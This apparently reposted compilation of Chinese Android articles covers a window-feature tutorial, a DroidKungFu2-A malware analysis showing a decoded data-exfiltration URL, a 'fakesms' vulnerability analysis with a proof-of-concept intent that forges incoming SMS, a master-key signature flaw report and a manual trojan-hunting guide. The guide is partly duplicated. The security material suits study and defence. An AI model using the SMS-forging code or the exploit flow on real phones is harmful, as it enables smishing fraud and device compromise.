requestWindowFeature使用详解

From: http://zhanhao.iteye.com/blog/1174914

requestWindowFeature可以设置的值有:
 // 1.DEFAULT_FEATURES:系统默认状态,一般不需要指定
// 2.FEATURE_CONTEXT_MENU:启用ContextMenu,默认该项已启用,一般无需指定
// 3.FEATURE_CUSTOM_TITLE:自定义标题。当需要自定义标题时必须指定。如:标题是一个按钮时
// 4.FEATURE_INDETERMINATE_PROGRESS:不确定的进度
// 5.FEATURE_LEFT_ICON:标题栏左侧的图标
// 6.FEATURE_NO_TITLE:无标题
// 7.FEATURE_OPTIONS_PANEL:启用“选项面板”功能,默认已启用。
// 8.FEATURE_PROGRESS:进度指示器功能
// 9.FEATURE_RIGHT_ICON:标题栏右侧的图标

效果图:
 default:

progress:

no title:

lefticon:

fullscreen:

indeterminate_progress:

customtitle:

 

代码:
package com.my;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.view.Window;
import android.view.WindowManager;

public class WindowFeatureDemoActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// requestWindowFeature();的取值
// 1.DEFAULT_FEATURES:系统默认状态,一般不需要指定
// 2.FEATURE_CONTEXT_MENU:启用ContextMenu,默认该项已启用,一般无需指定
// 3.FEATURE_CUSTOM_TITLE:自定义标题。当需要自定义标题时必须指定。如:标题是一个按钮时
// 4.FEATURE_INDETERMINATE_PROGRESS:不确定的进度
// 5.FEATURE_LEFT_ICON:标题栏左侧的图标
// 6.FEATURE_NO_TITLE:无标题
// 7.FEATURE_OPTIONS_PANEL:启用“选项面板”功能,默认已启用。
// 8.FEATURE_PROGRESS:进度指示器功能
// 9.FEATURE_RIGHT_ICON:标题栏右侧的图标
// ========================FEATURE_INDETERMINATE_PROGRESS:不确定的进度
//        showFEATURE_INDETERMINATE_PROGRESS();
//        // =====================FEATURE_CUSTOM_TITLE
//        showFEATURE_CUSTOM_TITLE();
//        // ======================== FEATURE_LEFT_ICON:标题栏左侧的图标
//        showFEATURE_LEFT_ICON();
//        // ======================FEATURE_NO_TITLE
//        showFEATURE_NO_TITLE();
//         =================================FEATURE_PROGRESS
showFEATURE_PROGRESS();

}

private void showFEATURE_INDETERMINATE_PROGRESS() {
requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
setContentView(R.layout.main);
getWindow().setFeatureInt(Window.FEATURE_INDETERMINATE_PROGRESS, R.layout.progress);
// 必须得加上否则显示不出效果 可以通过这个在以后设置显示或隐藏
setProgressBarIndeterminateVisibility(true);
}

private void showFEATURE_CUSTOM_TITLE() {
// 自定义标题。当需要自定义标题时必须指定。如:标题是一个按钮时
requestWindowFeature(Window.FEATURE_CUSTOM_TITLE);
setContentView(R.layout.main);
getWindow().setFeatureInt(Window.FEATURE_CUSTOM_TITLE, R.layout.customtitle);
}
private void showFEATURE_LEFT_ICON()
{
requestWindowFeature(Window.FEATURE_LEFT_ICON);
setContentView(R.layout.main);
getWindow().setFeatureDrawableResource(Window.FEATURE_LEFT_ICON,
R.drawable.icon);
}
private void showFEATURE_NO_TITLE()
{
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.main);
// 加上这句设置为全屏 不加则只隐藏title
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
}
private void showFEATURE_PROGRESS()
{
requestWindowFeature(Window.FEATURE_PROGRESS);
setProgressBarVisibility(true);
setContentView(R.layout.main);
setTitle(“”);
getWindow().setFeatureInt(Window.FEATURE_PROGRESS, Window.PROGRESS_VISIBILITY_ON);
// 通过线程来改变ProgressBar的值
new Thread(new Runnable() {
public void run() {
for (int i = 0; i < 10; i++) {
try {
Thread.sleep(1000);
Message m = new Message();
m.what = (i + 1) * 20;
WindowFeatureDemoActivity.this.myMessageHandler.sendMessage(m);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}).start();
}
Handler myMessageHandler = new Handler() {
// @Override
public void handleMessage(Message msg) {

// 设置标题栏中前景的一个进度条进度值
setProgress(100 * msg.what);
// 设置标题栏中后面的一个进度条进度值
setSecondaryProgress(100 * msg.what + 10);
super.handleMessage(msg);
}
};

}

Android恶意软件分析

Android恶意软件分析

From: http://www.freebuf.com/articles/terminal/5524.html

@ 终端安全 2012-09-04 共 6746 人围观

Author:cs24
Site:http://www.freebuf.com 

这是SANS的研究报告《Dissecting Andro Malware》2011年的作品,在tobe的鼓励下,把他读完了,说不上一对一的翻译,把主要的大意摘录如下:

先说说恶意软件分析:

恶意软件分析其实是一个拆解它的过程,学习它的代码结构,操作,功能。通常以以下几点为目标:

 

理解漏洞如何被利用,系统受攻击的原因。
研究攻击的严重性以及防御措施
渗透到受攻击的数据,以便调查它的来源,获得更多其他受攻击机器的信息

 

取证调查员和系统工程师,通常利用逆向工程技术分析恶意软件,分析恶意软件的工作流程,执行了的操作,功能。由此来理解恶意软件对受害机器的文件,服务,代码和变量做了哪些增加或修改。这个分析通常有两种方法静态分析和动态分析,又叫行为分析和代码分析。

关于这个报告:

这个项目(指这篇报告)的目的就是理解Android恶意软件是如何工作的。这个项目会涉及到以下几个主要步骤:

 

创建独立的虚拟环境
静态分析
动态分析
总结每个分析的的发现和漏洞情况,编写统计结果报告
提出修复措施

 

这个项目还是一个逆向工程的参考材料,针对恶意软件用到的工具,方法论的一个参考。

转入正题:

 

静态分析,又称行为分析,通常分析和研究恶意软件的行为,研究恶意软件与所在环境如何交互,如何增加服务,篡改文件,截取数据,网络连接方式,端口打开情况等。把收集到的数据重新整合和映射到一起,以便进行全局的分析。

 

报告具体内容:

动态分析,又称为代码分析,也就是对恶意软件的代码进行分析,但是通常要对恶意软件的代码进行分析是非常困难,特别是要分析的通常是以编译过的二进制代码。所以需要反编译它为汇编代码,通过代码分析,逆向工程师从中提取内嵌的实际恶意代码。

恶意软件分析工具

 

实验环境工具--Virtual Box,VMware,Sandbox GFI
静态分析--Process Monitor,Wireshark,PEiD,TCPView,WinHex,Process Explorer,Winanalysis,Strings
动态分析--Ollydbg,IDA Pro,Dex2jar,JD-GUI,Baksmali,Apktool

 

恶意代码分析的目标终极目标当然是找出如何防范恶意软件的攻击了。这样就得回答两个问题,一个是,系统是怎样被攻击的,第二是恶意软件利用什么漏洞进行攻击。

 

(此处省略android系统架构性描述,android市场,android市场安全检测,一些目前已发现漏洞病毒,如CVExxx,都是些千篇一律的描述,没有翻译了。有兴趣的可以看原文,或者找对应的中文材料学习)

(此处在再次省略有关几个分析工具的简单介绍,包括VirtualBox的安装运行,android模拟器Emulator,反编译工具Apktool, 监控工具wireshark,其他Dex2Jar,JD-GUI,这些都是必备工具,想必也不是靠一个报告三言两语说得清楚,具体用法个人觉得可以参考其 他中文材料)

分析实例:

动态分析DroidKungFu2-A

首先,用7-zip解压恶意apk文件“droida.apk”,查看如下图所示:

包括了Android Manifest xml文件,classes.dex文件。恶意软件作者通常把自己的代码插入到原始代码中,以减少被怀疑的风险。他们修改了Android Manifest文件和其他apk中的文件后,用他们自己的key重新编译。下图显示了分析中发现修改过的Android Manifest文件。

 

当运行程序的时候,就会激活名为android.intent.action.MAIN的活动,而该获得会伴随激活 com.enguan.state.Dialog活动,这个活动会触发两个服务,分别为com.eguan.state.StateService和 com.eguan.state.Receiver。(<action
android:name=”android.intent.action.MAIN” />就是apk最先启动的东西了。)为了弄清楚这些活动,就需要反编译apk文件了。这里就要用到Apktool工具了。下图显示使用Apktool进行反编译

 

反编译后如下图所示包含有Android Mainifest文件和dex文件。

通过分析文件中包含StateService的activity的代码,我们发现这段代码启动了一个名为 com.eguan.state.StateService的服务。它创建了一个intent object的实例,创建了一个com.eguan.state.StateService类的对象,把这个对象传给constructor之后通过其启 动了名为startService的服务。然而要更深入的分析就必须分析Java代码了。于是就利用Dex2Jar工具,把Dalvik可执行文 件.dex转换为Java的.class文件。命令如下图所示:

 

转换后,把生成的jar文件导入JD-GUI工具中,就可以列出所有的包和它对应的java文件了从中查找启动服务的对应代码:

 

Intent intent = new Intent (this, com.eguan.state.StateService.class);
startService (intent);

 

由此com.eguan.state.Dialog Activity退出后,但是com.
eguan.state.StateService服务仍然在后台运行,最初的activity在已经在设备上运行,但是用户并没有察觉到可以的 activity在后台运行。一旦该服务启动,恶意软件就在后台收集窃取信息,包括IMEI号码,手机模式,Android版本等,如下图所示:StateService的java代码分析

 

UpdateInfo()函数负责把收集以上信息,利用StringBuilder函数写入到本地的/data/data如下图所示:

这些数据随后会发送到一个远程的服务器上。利用wireshark抓包分析可看到源地址10.0.2.15(手机)发生到目标服务器58.63.244.72,如下所示:

通过分析抓包文件,如下图所示:

 

对以下经过URL加密的请求解码

 

o r   r e t a i n s   f

http://gw.youmi.net/reqad?aid=dd598637f9461413&da={%22w%22%3A320%2C%22dd%22%3A%22HTC%20Magic%22%2C%22dv%22%3A%22smc_voda_wwe%22%2C%22ts%22%3A%220%22%2C%22sv%22%3A%221.1%22%2C%22po%22%3A%22android%201.5%22%2C%22cid%22%3A%22162fbcbb180446ef5573b679baad3f30%22%2C%22h%22%3A480}&out=0&rt=2010-05-29%2012%3A25%3A31&src=3&ver=1.0&sig=ERMdekHHiUYznbRN%2BK5MJ49Oyvw%3D

 

可发现

包括了mobile model名称“HTC MAGIC”Android的版本1.5,IMEI号码,和其他参数。

漏洞利用代码分析

当activity运行的时候,Service就会启动,从而加载create()函数的代码,如下图所示:

而该函数里面有一个getPermission()的方法,检查是否有root访问权限。通过检查su是否在设备上安装来实现。如下图所示。

通过checkPermission检查设备是否已经越狱。

如果没有,就尝试访问一个叫secbino的本地文件,并从asset 目录复制漏洞利用代码,并改变其访问权限,如下图代码所示:

成功后就会执行漏洞利用代码,由oldrun函数负责执行越狱操作。如下图所示:

 

当越狱成功后,就可在用户不知情情况下下载更多的恶意软件了,并进行安装,删除等操作。

静态分析:

首先是通过virutotal.com多引擎杀毒网站扫描,显示53%的杀毒引擎都报告有毒。

之后,通过adb命令把该apk应用往android模拟器–AVD(Android Virtual Device)安装。命令如下图所示:

安装成功后,运行该程序。原始的activity会载入com.al len.txthej包,同时内嵌了恶意代码com.eguan.state包,运行效果如下图所示:

恶意activity,com.state.eguan.Dialog在后台运行,这时它还不需要root访问权限,而原始的com.allen.txthej activity也是启动起来的。如下图所示,原始服务和恶意activity同时运行:

 

由于程序是运行在Android SDK环境中,该环境没有提供root访问权限,因此不运行SDK被越狱,所以当程序尝试去root权限访问时就会抛出异常

 

(此处个人觉得原文的静态分析这部分也简单了一点…很多前面提到的静态分析工具,Process Monitor,Wireshark,PEiD,TCPView,WinHex,Process Explorer,Winanalysis,Strings都没看到发挥用场。另外也有个疑问,对于那张同时看到原始服务和恶意activity同时运行的图是怎么看到的,直接看设置无需借助工具?还是用了什么工具呢?)

 

分析总结:

DroidKungFu-2A这个恶意软件,会截取IMEI号码,手机模块名称,SDK版本,然后存储到一个本地文件,随后通过HTTP GET请求的方式把信息使用URL加密发送到远程服务器。恶意软件还会检查设备是否已经被越狱,如果没有就会尝试访问SU,并改变其权限,成功后就会下载 更多的恶意软件包,实现远程安装和卸载程序包,修改浏览器主页等。

建议:

 

从可信源下载应用
在程序安装的时候,检查其许可要求
操作系统和软件都要更新到最新版本,安装必要的安全补丁
下载安装一个杀毒引擎并保持更新
检查正在浏览的网站,通过AD/Script拦截器保护免受恶意代码侵害
禁止自动运行特性,经常备份系统
启用防火墙
下载应用时,检查一下他的评分和评价情况
不要通过没有密码或不经过加密的wifi热点上网浏览敏感数据
警惕是否的警告,是否系统中出现了不正常的行为。

 

最后,本文需要用到的基础知识包括Android中activity的概念,Intent的概念,Android Manifest xml文件结构等等知识,所以这里所翻译的只是冰山一角,真正只能是抛砖引玉。而且后来找资料才发现原来这篇原文,多次出现在入门必看的list中,连诸 葛博士也推荐了一把。建议还是看原文的好。

对Android最新fakesms漏洞的分析 [原创精品]

from: http://www.freebuf.com/articles/terminal/6169.html

近期Android爆出SMS smishing vuln, 首先来源于http://www.csc.ncsu.edu/faculty/jiang/smishing.html, 然后github上给出了poc,具体来说是任意一个app没有write_sms权限下可以伪造任意发件人的任意短信。

影响平台可上至Android 1.6下至4.1。由于很多以android2.3为主的手机已经不能再升级,此漏洞的危害不可小视。一个攻击场景是malicious app首先向ISP发送一条申请业务的短信,然后伪造ISP发送一条用户需要确认的短信。当用户确认时就中招了。

张截图:

  

首先感谢各位大神的贡献。在github上给出poc后,我根据代码进行了一些分析。前面构造pdu的代码非常重要,但不是本文分析的重点。此次分析的POC代码在于

 

Intent intent = new Intent();
intent.setClassName("com.android.mms",
                "com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);

 

这里启动了com.android.mms.transaction.smsreceiverService,这个service的代码在这里. 当service启动时,调用链如下:

 

onStartCommand->mServiceHandler.sendMessage(msg);

 

消息进入ServiceHandler的消息队列中,在handleMessage中得到处理。由于Action是SMS_RECEIVED,所以进入handleSmsReceived函数:

 

public void handleMessage(Message msg) {
159            int serviceId = msg.arg1;
160            Intent intent = (Intent)msg.obj;
161            if (intent != null) {
162                String action = intent.getAction();
163
164                if (MESSAGE_SENT_ACTION.equals(intent.getAction())) {
165                    handleSmsSent(intent);
166                } else if (SMS_RECEIVED_ACTION.equals(action)) {
167                    handleSmsReceived(intent);
168                } else if (ACTION_BOOT_COMPLETED.equals(action)) {
169                    handleBootCompleted();
170                } else if (TelephonyIntents.ACTION_SERVICE_STATE_CHANGED.equals(action)) {
171                    handleServiceStateChanged(intent);
172                }
173            }
174            // NOTE: We MUST not call stopSelf() directly, since we need to
175            // make sure the wake lock acquired by AlertReceiver is released.
176            SmsReceiver.finishStartingService(SmsReceiverService.this, serviceId);
177        }
178    }

 

handleSmsReceived

 

private void handleSmsReceived(Intent intent) {
279        SmsMessage[] msgs = Intents.getMessagesFromIntent(intent);
280        Uri messageUri = insertMessage(this, msgs);
281
282        if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
283            SmsMessage sms = msgs[0];
284            Log.v(TAG, "handleSmsReceived" + (sms.isReplace() ? "(replace)" : "") +
285                    " messageUri: " + messageUri +
286                    ", address: " + sms.getOriginatingAddress() +
287                    ", body: " + sms.getMessageBody());
288        }
289
290        if (messageUri != null) {
291            MessagingNotification.updateNewMessageIndicator(this, true);
292        }
293    }

 

在291段用户得到通知,即一般大家看到的toast和短信提示框,再来看insertMessage,

 

private Uri insertMessage(Context context, SmsMessage[] msgs) {
331        // Build the helper classes to parse the messages.
332        SmsMessage sms = msgs[0];
333
334        if (sms.getMessageClass() == SmsMessage.MessageClass.CLASS_0) {
335            displayClassZeroMessage(context, sms);
336            return null;
337        } else if (sms.isReplace()) {
338            return replaceMessage(context, msgs);
339        } else {
340            return storeMessage(context, msgs);
341        }
342    }

 

其中replaceMessage最后调用storeMessage, storeMessage负责将短信存入数据库。这样一个fake message就成功以假乱真。

那为什么会出现这样的问题?对/system/app/Mms.apk进行反编译,获得AndroidManifest.xml,在其中可以看到:

 

<application android:label="@string/app_label" android:icon="@drawable/ic_launcher_smsmms" android:name="MmsApp" android:taskAffinity="android.task.mms" android:allowTaskReparenting="true">
<service android:name=".transaction.TransactionService" android:exported="true" />
<service android:name=".transaction.SmsReceiverService" android:exported="true" />
<activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_label" android:name=".ui.MmsTabActivity" android:launchMode="singleTop" android:configChanges="keyboardHidden|orientation" android:windowSoftInputMode="stateAlwaysHidden|adjustPan">

 

SmsReceiverService被export出去后没有使用permission声明signature或signatureOrSystem或Dangerous,甚至也没有Normal声明。在代码中也没有显式调用checkPermission,这违反了android开发规范[1],造成了事实上的permission-redelegation漏洞。由于Mms属于系统程序,存在于所有android-platform中,后果更加严重。

以上是对android的最新短信漏洞做的分析。由于水平所限,如果有所疏误请不吝赐教。

中国黑客组织发现第二个Android万能密钥漏洞

一个中国的安全组织Android Security Squad称他们发现了第二个万能密钥,能够在不破坏应用签名的情况下修改应用本身。

一个文件或者文档的数字签名的关键作用就是为了证明该文件或文档没有被修改过。这个过程使用了一个公钥加密算法。在这个中国版本的攻击中,恶意代码可以添加在文件的头部。但是由于目标文件需要小于64K,因此这段恶意代码的功能被限制了。

APK 文件使用了一种流行的ZIP压缩算法进行了压缩。多数的压缩行为不会把两个文件名相同的文件放到同一个归档中。但是其实算法本身并没有禁止这种可能性。所以两个版本的classes.dex文件会被放在包裹中,一个原始的和一个被恶意修改过的。

当检查应用的数字签名的时候,安卓系统会匹配第一个符合特征的文件,但是当真正执行并启动文件时,会使用第二个被修改过的。为了把一个应用变得像木马一样,你需要做的仅仅是把你的恶意代码改成一个在应用中已经存在的名字。

 

这个漏洞和由国外移动安全公司Bluebox Security发现的第一个万能密钥的漏洞 非常相似。根据BlueBox的说法,有99%的移动设备受到该漏洞的影响。谷歌已经修复了这个问题并提交到了安卓源码开放项目中(AOSP)

你也可以使用ReKey ,一个免费的移动应用用来修复安卓万能密钥漏洞。

安卓安全小分队技术分析:http://blog.sina.com.cn/s/blog_be6dacae0101bksm.html

浅谈android手机木马手工查杀

非常好的一篇文章,对于Android App的网络行为分析有很深刻的见解!忍不住要转啊

原文链接: http://www.freebuf.com/articles/wireless/11175.html

作者:南拳Daddy

版权所有,转载请注明作者以及来源FreebuF.COM,违者必究。

本人关注移动网络安全将近3年了,写这篇文章主要是想科普下手机木马查杀相关的一些技术,最近在网上看了腾讯移动安全实验室安全快讯360手机卫士安全播报,感觉移动终端的安全性一年比一年严峻。本人这些年主要是做网络攻防,近几年由原来的PC端转向移动互联终端。在APT攻击方面研究的同时也研究防御方面的技术。

下面就分享下最近的一些研究成果。

这篇文章主要是浅谈,所以会从简单方面开始讲起。

关于手机木马查杀,有些人会说安装手机杀毒软件不就解决了吗? 其实不然。因为手机和PC不一样,手机反木马技术没有PC端那么强。

就算你把目前市面上的所有手机杀毒软件都安装到手机里,也不一定查杀出来。

下面就开始正式讲解手工查杀的方法。

第一种方法:用Android Debug Bridge(简称adb)调试工具补助查杀,

首先打开android手机的调试模式,然后到网上下载adb.exe,AdbWinApi.dll,AdbWinUsbApi.dll这三个文件,放在 电脑磁盘任意目录下,用数据线把手机连上电脑。然后通过命令提示符用pushd或者cd命令跳转到刚才那三个文件所在目录。执行adb
shell命令连入手机shell终端。之后相当于在linux下的shell一样操作了。如果你是搞android开发的,安装eclipse和 android SDK后就不用去下载刚才那三个文件了,在sdk\platform-tools这个目录下就有。重点是后面,通过执行netstat命令查看当前网络连 接(不需要root权限)。如下图:

 

能看到网络连接信息,但是却不能看到进程pid以及进程对应的包名。这样想要找到恶意程序或木马程序是很困难的。

下面介绍两个很有用的命令:

 

cat /proc/net/tcp  (不需要root权限)
cat /proc/net/tcp6  (不需要root权限)

 

/proc/net/tcp文件,这里记录的是ipv4下所有tcp连接的情况

/proc/net/tcp6文件,这里记录的是ipv6下所有tcp连接的情况

执行cat
/proc/net/tcp6命令后返回的记录格式如下:

 

local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode

0000000000000000FFFF00006801A8C0:8018 0000000000000000FFFF00007095FB3A:0050 08 00000000:00000001 00:00000000 00000000 10136        0 15335 1 d50216a0 37 4 6 5 -1

 

 

最主要的,就是local_address本地地址:端口、remote_address远程地址:端口、st连接状态,这里重点看下uid信息,下面会用到。截图如下:

注1:返回的IP地址端口和状态码都是用的16进制,比如HTTP的80端口记录为0050。

注2:状态码对应如下

 

00  "ERROR_STATUS",
01  "TCP_ESTABLISHED",
02  "TCP_SYN_SENT",
03  "TCP_SYN_RECV",
04  "TCP_FIN_WAIT1",
05  "TCP_FIN_WAIT2",
06  "TCP_TIME_WAIT",
07  "TCP_CLOSE",
08  "TCP_CLOSE_WAIT",
09  "TCP_LAST_ACK",
0A  "TCP_LISTEN",
0B  "TCP_CLOSING",

下面以腾讯手机管家为例,通过执行dumpsys
activity|grep “10136″命令来查找uid
10136对应的Pid和应用程序包名,如下图:(注:10136是打开腾讯手机管家后重新执行cat
/proc/net/tcp6命令获得的。)

 

看下包名com.tencent.qqpimsecure是不是腾讯手机管家,在手机的设置->应用程序->正在运行的服务中查找(这里以android
2.3.7为例),如下图:

由上面的执行结果找到腾讯手机管家访问的IP地址和端口是:

7095FB3A:0050  (原格式是:
0000000000000000FFFF00007095FB3A:0050把前面的0000000000000000FFFF0000这段删掉.)

转换成十进制就是: 58.251.149.112:80

和执行netstat命令获取的IP地址是一样的,如下图:

 

这里整理下思路:通过执行cat
/proc/net/tcp6或cat /proc/net/tcp找到联网程序的uid
,然后

通过uid找到对应的应用程序pid和包名,最后判断应用是不是可疑,如果可疑就卸载掉。

如上面的腾讯手机管理是不可疑的,所以接着查找下一个,依次类推,直到找到恶意程序或木马程序为止。在查找过程中不要人为打开联网应用程序(如UC浏览 器,QQ浏览器等等。),这样会增加手工查杀的难度。而且恶意程序或病毒程序是开机自动打开的,当然也有少部分是随着其他应用启动之后才触发的。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

当然在这里还得详细说明下,刚才通过可疑网络联接找到对应的应用程序包名,然后怎么判断程序是否可疑呢?因为很多程序都要联网的,大家可以这样做,找到包 名后,可以到设置->应用程序->管理应用程序,在列表里找到对应的应用,然后点击进去查看应用的权限列表。

通过权限就能判断应用的可疑性了。下面截一张图,大家可以参考下。

第二种方法:通过耗电统计,找到耗电比较高的应用,然后查看应用的权限列表,进而判断程序是否可疑,这种方法比较简单,我就不详细介绍了。

第三种方法:通过查看logcat日志找到可疑应用程序。我不推荐用adb shell logcat来查看,因为里面的信息太多,而且查到可疑日志不方面。这里推荐大家安装一款第三方应用,叫做系统系统。打开系统信息这款应用,在基本信息下 面点击查看日志,这时弹出选择对话框,选择logcat选项点击进去就可以查看logcat日志了。如下面:

 

里面可以找到应用的服务名,以及对应的进程ID。这里特别是注意红色部分的警告信息。

大多数手机木马都会请求网络连接,在请求的同时会抛出异常,因为木马客户端并不是实时处于监听状态,这时服务端反弹连接会抛出异常。通过异常信息就能找到木马程序的进程ID
,进而找到程序的安装路径,并卸载掉。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

第四种方法:通过抓取网络通讯数据包分析手机应用到底做了什么。前面的三种方法并不能100%的判断某个应用是否是恶意程序或者木马。

所以第四种方法来了。第四种方法是最复杂的,并不适合所有人,只适合手机安全发骚友。

抓取手机网络通讯数据包分三步走:

第一步:在PC上运行ADVsock2pipe,输入如下命令

 

ADVsock2pipe.exe -pipe=wireshark -port 9000

 

 

第二步:在PC上运行wireshark,设置caption-Options

 

Capture | Options, Interface: Local, \\.\pipe\wireshark

 

 

第三步:adb shell

 

# tcpdump -nn -w - -U -s 0 "not port 9000" | nc 192.168.1.101 9000

-w:指定将监听到的数据包写入文件中保存
-nn:指定将每个监听到的数据包中的域名转换成IP、端口从应用名称转换成端口号后显示
-s:指定要监听数据包的长度

 

192.168.1.101 这个IP地址是你本机的IP。

至于这个9000端口可以随便改,只要不被系统占用就可以。

还有一个重要前提条件是手机需要root权限。

 

之后在wireshark上面就可以看到通讯数据在不停的增加了。

通过上面的第一种手工查杀方法,大家应该知道怎么找到可疑连接的IP地址和端口了。

然后就是过滤可疑连接的IP地址和端口。

过滤语法是:ip.dst ==可疑IP
and tcp.dstport ==端口

 

这里跟大家介绍一种和第三种方法达到异曲同工之妙的语法。

tcp.flags.syn == 0×02    显示包含TCP
SYN标志的封包。

TCP网络连接要完成三次握手,这个地球人都知道的,是吧。

 

过滤出TCP SYN标志的封包后,在wireshark上面就能找到可疑连接的IP地址了。

结合第一种方法就能找到可疑IP地址对应的应用程序ID和包名。然后就是查看权限列表进一步判断,之后就是选择是否卸载应用了。

 

最后再来回答上面提到的抓包分析手机应用到底做了什么的问题。

方法很简单,刚才用ip.dst
==可疑IP and tcp.dstport ==端口

这个语法过滤出可疑信息,在上面鼠标右键,选择follow
TCP stream

就可以跟踪指定TCP流的包。如下图:

 

数据包是加密的。怎么去解密就留给大家做课后练习了。

 

最后再来补充说明下手机安全软件为什么查杀不了,非得要手工查杀不可呢?

看下下面的分析就知道原因了。

假设你的手机不小心被植入了一款手机木马程序。这个时候你安装了一款手机安全软件,比如腾讯手机管家,360手机卫士,LBE安全大师,金山手机卫士等等等。

然后你每天更新手机杀软病毒库并扫描。可是呢?每次的结果都是您的手机很安全,可以放心使用。如下图:

         

上面是腾讯手机管家截图                                                 上面是LBE安全大师截图

 

        

上面是金山手机卫士截图                                                  上面是金山手机卫士截图

 

所以杀软都是最新版本最新病毒库。

通过几款安全软件的扫描查杀并没有找到真正的木马程序。而通过刚才的四种手工查杀,真正的手机木马其实已经不难找到了。

最后的最后让大家欣赏下这款手机远控的庐山真面目:

作者:南拳Daddy

版权所有,转载请注明作者以及来源FreebuF.COM,违者必究。 

本人关注移动网络安全将近3年了,写这篇文章主要是想科普下手机木马查杀相关的一些技术,最近在网上看了腾讯移动安全实验室安全快讯360手机卫士安全播报,感觉移动终端的安全性一年比一年严峻。本人这些年主要是做网络攻防,近几年由原来的PC端转向移动互联终端。在APT攻击方面研究的同时也研究防御方面的技术。

下面就分享下最近的一些研究成果。 

这篇文章主要是浅谈,所以会从简单方面开始讲起。

关于手机木马查杀,有些人会说安装手机杀毒软件不就解决了吗? 其实不然。因为手机和PC不一样,手机反木马技术没有PC端那么强。

就算你把目前市面上的所有手机杀毒软件都安装到手机里,也不一定查杀出来。

下面就开始正式讲解手工查杀的方法。

第一种方法:用Android Debug Bridge(简称adb)调试工具补助查杀,

首先打开android手机的调试模式,然后到网上下载adb.exe,AdbWinApi.dll,AdbWinUsbApi.dll这三个文件,放在 电脑磁盘任意目录下,用数据线把手机连上电脑。然后通过命令提示符用pushd或者cd命令跳转到刚才那三个文件所在目录。执行adb
shell命令连入手机shell终端。之后相当于在linux下的shell一样操作了。如果你是搞android开发的,安装eclipse和 android SDK后就不用去下载刚才那三个文件了,在sdk\platform-tools这个目录下就有。重点是后面,通过执行netstat命令查看当前网络连 接(不需要root权限)。如下图:

 

能看到网络连接信息,但是却不能看到进程pid以及进程对应的包名。这样想要找到恶意程序或木马程序是很困难的。

下面介绍两个很有用的命令:

 

cat /proc/net/tcp  (不需要root权限)
cat /proc/net/tcp6  (不需要root权限)

 

/proc/net/tcp文件,这里记录的是ipv4下所有tcp连接的情况

/proc/net/tcp6文件,这里记录的是ipv6下所有tcp连接的情况

执行cat
/proc/net/tcp6命令后返回的记录格式如下:

 

local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode

0000000000000000FFFF00006801A8C0:8018 0000000000000000FFFF00007095FB3A:0050 08 00000000:00000001 00:00000000 00000000 10136        0 15335 1 d50216a0 37 4 6 5 -1

 

 

最主要的,就是local_address本地地址:端口、remote_address远程地址:端口、st连接状态,这里重点看下uid信息,下面会用到。截图如下:

注1:返回的IP地址端口和状态码都是用的16进制,比如HTTP的80端口记录为0050。

注2:状态码对应如下

 

00  "ERROR_STATUS",
01  "TCP_ESTABLISHED",
02  "TCP_SYN_SENT",
03  "TCP_SYN_RECV",
04  "TCP_FIN_WAIT1",
05  "TCP_FIN_WAIT2",
06  "TCP_TIME_WAIT",
07  "TCP_CLOSE",
08  "TCP_CLOSE_WAIT",
09  "TCP_LAST_ACK",
0A  "TCP_LISTEN",
0B  "TCP_CLOSING",

下面以腾讯手机管家为例,通过执行dumpsys
activity|grep “10136″命令来查找uid
10136对应的Pid和应用程序包名,如下图:(注:10136是打开腾讯手机管家后重新执行cat
/proc/net/tcp6命令获得的。)

 

看下包名com.tencent.qqpimsecure是不是腾讯手机管家,在手机的设置->应用程序->正在运行的服务中查找(这里以android
2.3.7为例),如下图:

由上面的执行结果找到腾讯手机管家访问的IP地址和端口是:

7095FB3A:0050  (原格式是:
0000000000000000FFFF00007095FB3A:0050把前面的0000000000000000FFFF0000这段删掉.)

转换成十进制就是: 58.251.149.112:80

和执行netstat命令获取的IP地址是一样的,如下图:

 

这里整理下思路:通过执行cat
/proc/net/tcp6或cat /proc/net/tcp找到联网程序的uid
,然后

通过uid找到对应的应用程序pid和包名,最后判断应用是不是可疑,如果可疑就卸载掉。

如上面的腾讯手机管理是不可疑的,所以接着查找下一个,依次类推,直到找到恶意程序或木马程序为止。在查找过程中不要人为打开联网应用程序(如UC浏览 器,QQ浏览器等等。),这样会增加手工查杀的难度。而且恶意程序或病毒程序是开机自动打开的,当然也有少部分是随着其他应用启动之后才触发的。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

当然在这里还得详细说明下,刚才通过可疑网络联接找到对应的应用程序包名,然后怎么判断程序是否可疑呢?因为很多程序都要联网的,大家可以这样做,找到包 名后,可以到设置->应用程序->管理应用程序,在列表里找到对应的应用,然后点击进去查看应用的权限列表。

通过权限就能判断应用的可疑性了。下面截一张图,大家可以参考下。

第二种方法:通过耗电统计,找到耗电比较高的应用,然后查看应用的权限列表,进而判断程序是否可疑,这种方法比较简单,我就不详细介绍了。

第三种方法:通过查看logcat日志找到可疑应用程序。我不推荐用adb shell logcat来查看,因为里面的信息太多,而且查到可疑日志不方面。这里推荐大家安装一款第三方应用,叫做系统系统。打开系统信息这款应用,在基本信息下 面点击查看日志,这时弹出选择对话框,选择logcat选项点击进去就可以查看logcat日志了。如下面:

 

里面可以找到应用的服务名,以及对应的进程ID。这里特别是注意红色部分的警告信息。

